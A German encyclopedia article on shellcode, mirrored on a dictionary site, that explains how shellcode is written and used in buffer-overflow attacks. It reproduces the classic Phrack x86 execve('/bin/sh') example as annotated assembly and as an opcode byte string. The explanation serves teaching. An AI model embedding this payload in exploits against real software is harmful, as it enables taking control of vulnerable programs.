Shellcode

Shellcode

Shellcode ist ein Begriff aus der Software-Programmierung und bezeichnet die in Opcodes umgewandelte Form von Assemblersprachenbefehlen, die einen oder mehrere bestimmte Befehle ausführen soll. In der Regel wird eine Shell gestartet, daher auch der Name. Shellcodes werden in Pufferüberlauf- und anderen Dateninjektions-Attacken benutzt.

Die Umwandlung findet hierbei nur zu dem Zweck statt, die Anweisung so im Speicher zu platzieren (dies wird meist über einen sog. Pufferüberlauf erreicht), dass der Prozessor sie ausführt.

Inhaltsverzeichnis

Erstellen von Shellcodes

Zur Erzeugung von Shellcode kann der auszuführende Befehl in C geschrieben und mit einem Compiler übersetzt werden. Das erzeugte Programm wird nun disassembliert (rückübersetzt) und die Funktionsweise des Programms in Assemblersprache nachprogrammiert. Viele Instruktionen können aber weggelassen oder verkürzt werden. Bei vielen Sicherheitslücken darf im Shellcode kein 0-Byte enthalten sein, weil dieses in C Strings beendet. Manchmal müssen noch weitere Filter umgangen werden, beispielsweise werden nur Buchstaben und Zahlen zugelassen oder die Groß- und Kleinschreibung verändert.

Anstatt eigenen Code auszuführen, was nicht immer möglich ist (zum Beispiel bei OpenBSD oder unter Verwendung von Speicherschutz), kann man auch direkt zu gewünschten Funktionen springen, die beispielsweise im Programm selber oder einer geladenen Bibliothek, beispielsweise der libc vorhanden sind. Dieses Verfahren wird return into libc genannt.

Beispiel

(Quelle: http://web.archive.org/web/20080211101739/www.phrack.org/archives/49/P49-14)

Lokaler execve(/bin/sh) Shellcode

Der Assembler Code (x86-Architektur):

void main() {
__asm__("
jmp 0x2a            # 3 bytes - springt direkt vor den String
popl %esi           # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert   
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax      # 5 bytes - syscall-nummer in eax
movl %esi,%ebx      # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment   
int $0x80           # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax     # 5 bytes - exit-interrupt 
movl $0x0, %ebx     # 5 bytes - wird vorbereitet
int $0x80           # 2 bytes - interrupt wird ausgelöst
call -0x2f          # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");   
}

Der Opcode String:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Dieser Code ist jedoch nicht sonderlich geschickt, da er Nullbytes enthält und recht lang ist. Es gibt auch noch andere Techniken, die Adresse des Strings herauszufinden, als einen "jmp" oder "call". Es ist beispielsweise möglich, lediglich "/bin/sh" auf den Stack zu pushen. Danach enthält der esp die Adresse.

Siehe auch: Heap Overflow, return into libc, double free(), Exploit, Assembler

Literatur

  • Jack Koziol: The Shellcoder's Handbook. Discovering and Exploiting Security Holes. Wiley, Indianapolis IN 2004, ISBN 0-7645-4468-3.
  • Jon Erickson: Forbidden Code. mitp, Bonn 2004, ISBN 3-8266-1457-7.

Weblinks


Wikimedia Foundation.

Игры ⚽ Поможем написать реферат

Schlagen Sie auch in anderen Wörterbüchern nach:

  • Shellcode — In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called shellcode because it typically starts a command shell from which the attacker can control the compromised …   Wikipedia

  • Shellcode — Un shellcode est une chaîne de caractères qui représente un code binaire exécutable capable de lancer un shell ( /bin/sh sous Unix ou command.com sous DOS et Microsoft Windows par exemple). Un shellcode peut être utilisé par un hacker voulant… …   Wikipédia en Français

  • Shellcode — Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute… …   Wikipedia Español

  • Shellcode — Код оболочки, шелл код (англ. shellcode)  это двоичный исполняемый код, который обычно передаёт управление консоли, например /bin/sh Unix shell, command.com в операционных системах Microsoft Windows. Код оболочки может быть использован как… …   Википедия

  • Shellcode — Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador que se inyectan en la pila para conseguir que la máquina en la que reside se ejecute la operación que se haya programado. Una shellcode ejemplar, escrita… …   Enciclopedia Universal

  • shellcode — noun A small piece of code, used as the payload of a virus or other malware, that launches a shell so that the attacker can control the compromised computer …   Wiktionary

  • Buffer overflow — In computer security and programming, a buffer overflow, or buffer overrun, is an anomalous condition where a process attempts to store data beyond the boundaries of a fixed length buffer. The result is that the extra data overwrites adjacent… …   Wikipedia

  • Код консоли — Код оболочки, шелл код (англ. shellcode)  это двоичный исполняемый код, который обычно передаёт управление консоли, например /bin/sh Unix shell, command.com в операционных системах Microsoft Windows. Код оболочки может быть использован как… …   Википедия

  • Шеллкод — Код оболочки, шелл код (англ. shellcode)  это двоичный исполняемый код, который обычно передаёт управление консоли, например /bin/sh Unix shell, command.com в операционных системах Microsoft Windows. Код оболочки может быть использован как… …   Википедия

  • Шеллкодес — Код оболочки, шелл код (англ. shellcode)  это двоичный исполняемый код, который обычно передаёт управление консоли, например /bin/sh Unix shell, command.com в операционных системах Microsoft Windows. Код оболочки может быть использован как… …   Википедия

Share the article and excerpts

Direct link
Do a right-click on the link above
and select “Copy Link”